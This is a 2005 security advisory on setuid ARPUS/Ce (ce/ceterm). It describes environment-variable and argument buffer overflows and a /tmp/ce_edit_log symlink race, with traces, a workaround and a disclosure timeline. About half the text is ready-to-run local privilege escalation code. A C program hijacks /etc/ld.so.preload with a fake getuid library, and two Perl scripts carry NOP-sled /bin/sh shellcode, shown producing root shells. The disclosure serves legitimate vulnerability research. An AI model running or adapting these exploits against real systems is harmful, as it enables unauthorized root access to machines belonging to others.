DMA[2005-0501a] - 'ARPUS/Ce setuid buffer overflow and file overwrite'
as usual enjoy the typos!
DMA[2005-0501a] - 'ARPUS/Ce setuid buffer overflow and file overwrite'
Author: Kevin Finisterre
Vendor: http://www.swlink.net/~styma/ce.shtml,
http://168.158.26.15/ce/ce/ce.html
Product: 'Ce/Ceterm'
References:
http://www.digitalmunition.com/DMA[2005-0501a].txt
Description:
Ce/Ceterm aka. ARPUS/Ce is an integrated ascii text editor and X based terminal
emulator
modeled after the editor and terminal emulator on Apollo Domain systems. The ce
tool is a
robust and extensible programmer's editor. The ceterm tool is meant to be a
replacement for
vendor-supplied X-based terminal window programs such as IBM's "aixterm", HP's
"hpterm",
DEC's "decterm", and Sun's "Shell Tool".
In the past machines other than SunOS and Apollo had to have ceterm installed
as setuid root.
Other terminal emulators like xterm also had this requirement because you had
to be root in
order to open a pseudo terminal. Users that did not have a setuid install of
ceterm could
recieve messages like "Can't unlock pty /dev/ptym/ptyxx (Not owner)" when
attempting to start
the program. Running "chown root ce; chmod 4755 ce" will fix this problem
however it can also
potentially expose the machine running ceterm to several vulnerabilities which
will be
outlined below.
Please note that as of release 2.6, the major releases of ce/ceterm do not need
to be setuid.
Improvements in pseudo-terminal system code have removed this requirement. Not
being setuid
root prohibits ceterm from updating UTMP on startup which means the session
will not show up
in the who command. The who command is a poor excuse for running setuid'ed so
it is recommended
that the program not be setuid root. As of the Mar. 25, 2005 the option to
install as setuid
has been removed from the ARPUS/Ce install package.
When Ce starts, it checks to see if it is a 'ceterm' (as opposed to 'ce'). If
not, it drops the
setuid immediately. If it is a ceterm, it drops the setuid as soon as the
pseudo terminal is opened.
Unfortunately the dropping of privs is not handled properly so an attacker may
have several
opportunities to abuse the application.
Several of the getenv() calls made by ARPUS/ce are vulnerable to buffer
overflows. Supplying
either a long XAPPLRESLANGPATH or XAPPLRESDIR variable will result in a
segfault.
XrmMergeDatabases(0x81061b8, 0xbfff8e98, 0, 0, 0) =
0xbfff8e98
getenv("XAPPLRESLANGPATH") =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
sprintf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "%s/%s",
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...,
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 12674
XrmGetFileDatabase(0xbfff7e60, 0x80aeb05, 0xbfffdb1e, 0xbfff9330, 0) = 0
getenv("XAPPLRESDIR") =
NULL
XResourceManagerString(0x8105c28, 0x80aeb05, 0xbfffdb1e, 0xbfff9330, 0) =
0x8106d80
XrmGetStringDatabase(0x8106d80, 0x80aeb05, 0xbfffdb1e, 0xbfff9330, 0) =
0x810a878
XrmMergeDatabases(0x810a878, 0x41414141, 0xbfffdb1e, 0xbfff9330, 0 <unfinished
...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
getenv("XAPPLRESLANGPATH") =
NULL
getenv("XAPPLRESDIR") =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
sprintf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "%s/%s",
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...,
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 12674
XrmGetFileDatabase(0xbfff7e60, 0x80aeb05, 0xbfffd8ca, 0xbfff9330, 0) = 0
XResourceManagerString(0x8105c28, 0x80aeb05, 0xbfffd8ca, 0xbfff9330, 0) =
0x8106d80
XrmGetStringDatabase(0x8106d80, 0x80aeb05, 0xbfffd8ca, 0xbfff9330, 0) =
0x810a878
XrmMergeDatabases(0x810a878, 0x41414141, 0xbfffd8ca, 0xbfff9330, 0 <unfinished
...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
In gdb we can see that we have definately overwritten the eip address.
gdb) r
Starting program: /usr/bin/ce
Program received signal SIGSEGV, Segmentation fault.
0x4005d485 in XrmCombineDatabase () from /usr/X11R6/lib/libX11.so.6
(gdb) bt
#0 0x4005d485 in XrmCombineDatabase () from /usr/X11R6/lib/libX11.so.6
#1 0x4005d5ef in XrmMergeDatabases () from /usr/X11R6/lib/libX11.so.6
#2 0x080666c7 in GetUsersDatabase ()
#3 0x41414141 in ?? ()
#4 0x41414141 in ?? ()
#5 0x41414141 in ?? ()
#6 0x41414141 in ?? ()
#7 0x41414141 in ?? ()
#8 0x41414141 in ?? ()
#9 0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
Supplying an overly long command line argument to ARPUS/ce will also cause the
program to segfault.
(gdb) r `perl -e 'print "A" x 9000'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/bin/ce `perl -e 'print "A" x 9000'`
Program received signal SIGSEGV, Segmentation fault.
0x080768e2 in normalize_file_name ()
(gdb) bt
#0 0x080768e2 in normalize_file_name ()
#1 0x41414141 in ?? ()
#2 0x41414141 in ?? ()
The final issue that I encountered was caused by the logging facilities of
ARPUS/ce. Upon exiting
the program attempts to write to /tmp/ce_edit_log. After writing to this file
the program executes
a chmod 777 on the file. If you can catch the program off gaurd you can cause
the file to be
written and chmoded as root.
write(2, "ce: cannot connect to X server :"..., 47ce: cannot connect to X
server :0.0 (Success)) = 47
open("/tmp/ce_edit_log", O_WRONLY|O_APPEND|O_CREAT, 0666) = 3
...
chmod("/tmp/ce_edit_log", 0777) = 0
Under normal circumstances the log files are written with the ownership of the
current user.
kfinisterre@kfinisterre01:~$ ce a a
kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
-rwxrwxrwx 1 kfinisterre kfinisterre 6594 Apr 21 16:35 /tmp/ce_edit_log
As stated above however, you can trick ARPUS/ce into writing the log as root.
kfinisterre@kfinisterre01:~$ export DISPLAY=yamom
kfinisterre@kfinisterre01:~$ ce a a
ce: cannot connect to X server yamom (Success)
kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
-rwxrwxrwx 1 root kfinisterre 107 Apr 21 16:36 /tmp/ce_edit_log
Creating /tmp/ce_edit_log as root really does not gain you much, however
coupled with a symlink
it can yield local root.
kfinisterre@kfinisterre01:/tmp$ ln -s /etc/yamom /tmp/ce_edit_log
kfinisterre@kfinisterre01:/tmp$ ce
Xlib: connection to "yamom" refused by server
Xlib: No protocol specified
ce: cannot connect to X server yamom (Success)
kfinisterre@kfinisterre01:/tmp$ ls -al /etc/yamom
-rwxrwxrwx 1 root kfinisterre 106 Apr 21 13:26 /etc/yamom
The following line will be added to which ever file you chose to symlink to:
<date> PID(18608) UID(1000) 'ce: cannot connect to X server yamom (Success)',
in file:
Since the file should now be mode 777 you can simply edit the file to suit your
own needs.
/etc/ld.so.preload is an easy target, but be careful!
Below are example sessions showing the exploits in process.
kfinisterre@kfinisterre01:~$ export DISPLAY=localhost:0.0
kfinisterre@kfinisterre01:~$ ./ce_ex.pl
sh-2.05b# id
uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
kfinisterre@kfinisterre01:~$ ./ce_ex2.pl
sh-2.05b# id
uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
kfinisterre@kfinisterre01:~$ unset DISPLAY
kfinisterre@kfinisterre01:~$ cc -o ex_ceterm ex_ceterm.c
kfinisterre@kfinisterre01:~$ ./ex_ceterm
/usr/bin/ce: cannot connect to X server dmr0x! (Success)
kfinisterre@kfinisterre01:~$ cat /etc/ld.so.preload
/tmp/getuid.so
kfinisterre@kfinisterre01:~$ id
uid=0(root) gid=1000(kfinisterre) euid=1000(kfinisterre)
groups=1000(kfinisterre)
kfinisterre@kfinisterre01:~$ su
kfinisterre01:/home/kfinisterre# rm /etc/ld.so.preload
kfinisterre01:/home/kfinisterre# id
uid=0(root) gid=0(root) groups=0(root)
Work Around:
The setuid can be removed and the program will continue to operate. This is
true of the 2.5.4
release and beyond. Please note that removing the setuid will prevent utmp from
being updated,
but this is not a significant issue. Also the current distribution of 2.6 does
not setuid the
program.
Timeline associated with this bug:
04/20/2005 - attempt to contact Robert E. Styma via email
04/21/2005 - initial response
04/22/2005 - information hand off by KF
04/26/2005 - Robert suggests some code changes
04/29/2005 - OK to disclose from Robert
04/30/2005 - Public disclosure
Robert E. Styma 'Principal Engineer (DMTS) for Lucent Technologies' was
extremely cooperative
and responsive with regard to the above mentioned security issues. Actions to
correct these
issues were promptly put in place.
-KF
/*
* Copyright Kevin Finisterre - ripped from my perl_ex.c
*
* ** DISCLAIMER ** I am in no way responsible for your stupidity.
* ** DISCLAIMER ** I am in no way liable for any damages caused by compilation
and or execution of this code.
*
* ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
* ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box
(or someone elses).
* ** WARNING ** have a boot disk ready incase some thing goes wrong.
*
* Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
*
* kfinisterre@kfinisterre01:~$ ls -al /usr/bin/ce
* -rwsr-xr-x 1 root bin 630010 Sep 27 2004 /usr/bin/ce
*
* Tested against
http://168.158.26.15/ce/ce-0260-intel-pentium-linux-fedoracore3.tar.gz
* and ce-0254-intel-pentium-linux-redhat73.tar.Z
*
* (16:34:04) kfin80: this program is tricky
* (16:34:14) kfin80: it drops privs under certain conditions
* (16:34:20) kfin80: it was fucking me up for a second. =]
* (16:36:02) kfin80: kfinisterre@kfinisterre01:~$ ce a a
* (16:36:13) kfin80: kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
* -rwxrwxrwx 1 kfinisterre kfinisterre 6594 Apr 21 16:35 /tmp/ce_edit_log
* (16:36:16) kfin80: owned by ME
* (16:36:36) kfin80: kfinisterre@kfinisterre01:~$ export DISPLAY=yamom
* kfinisterre@kfinisterre01:~$ rm /tmp/ce_edit_log
* kfinisterre@kfinisterre01:~$ ce a a
* ce: cannot connect to X server yamom (Success)
* kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
* -rwxrwxrwx 1 root kfinisterre 107 Apr 21 16:36 /tmp/ce_edit_log
* (16:36:38) d4yj4y: hmmmmmm
* (16:36:38) kfin80: owned by root
* (16:36:49) kfin80: the export of a faulty display makes it NOT drop privs.
*
*/
#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>
int main(int *argc, char **argv)
{
FILE *getuid;
if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
printf("error opening file\n");
exit(1);
}
fprintf(getuid, "int getuid(){return 0;}\n" );
fclose(getuid);
system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c
-lc");
symlink(PRELOAD,"/tmp/ce_edit_log");
umask(001); // I'm rw-rw-rw james bitch!
putenv("DISPLAY=dmr0x!"); // GIMME ROOT BITCH!
system("/usr/bin/ce");
FILE *ld_so_preload;
char preload[] = {
"/tmp/getuid.so\n"
};
if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
printf("error opening file\n");
exit(1);
}
fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
fclose(ld_so_preload);
}
#!/usr/bin/perl -w
#
# Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
#
# Copyright Kevin Finisterre
# kfinisterre@threat:/tmp$ ./ce_ex.pl
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre)
# groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),1000(kfinisterre)
#
# 57 bytes long
$sc = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";
$buf = "\x90" x (4120-569);
$buf .= $sc;
$buf .= (pack("l",(0xbfffa187)) x2);
$ENV{"XAPPLRESLANGPATH"} = $buf;
exec("/usr/bin/ce-0260-fc3"); # Attention Skript kiddies... change this
#!/usr/bin/perl -w
#
# Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
#
# Copyright Kevin Finisterre
# kfinisterre@threat:/tmp$ ./ce_ex.pl
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre)
# groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),1000(kfinisterre)
#
# 57 bytes long
$sc = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";
$buf = "\x90" x (4120-569);
$buf .= $sc;
$buf .= (pack("l",(0xbfffa187)) x2);
$ENV{"XAPPLRESDIR"} = $buf;
exec("/usr/bin/ce-0260-fc3"); # Change this...